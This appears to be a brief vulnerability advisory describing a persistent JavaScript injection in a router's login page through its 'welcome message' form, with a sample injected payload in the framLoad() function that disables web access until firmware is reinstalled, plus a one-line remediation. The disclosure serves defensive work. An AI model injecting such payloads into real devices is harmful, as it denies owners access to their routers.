#Technical details:
Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page.
The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface.
Access is restored with a new firmware installation.
Example of a working code:
//////// !WARNING! TEST AT YOUR OWN RISK ///////
var loginMsg loads input from the 'welcome message form'
...
function framLoad () {
var status = '0';
var count = '';
var Retry = '';
var period = '';
var loginMsg = '<DoS="javascript:alert('DoS coming!')">';
var LockTime;
var waitTime;
if ( advancedaccountsecurity == '0' ) {
loginrandom = '0';
}
...
#Remediation
The vulnerable form should sanitize input.
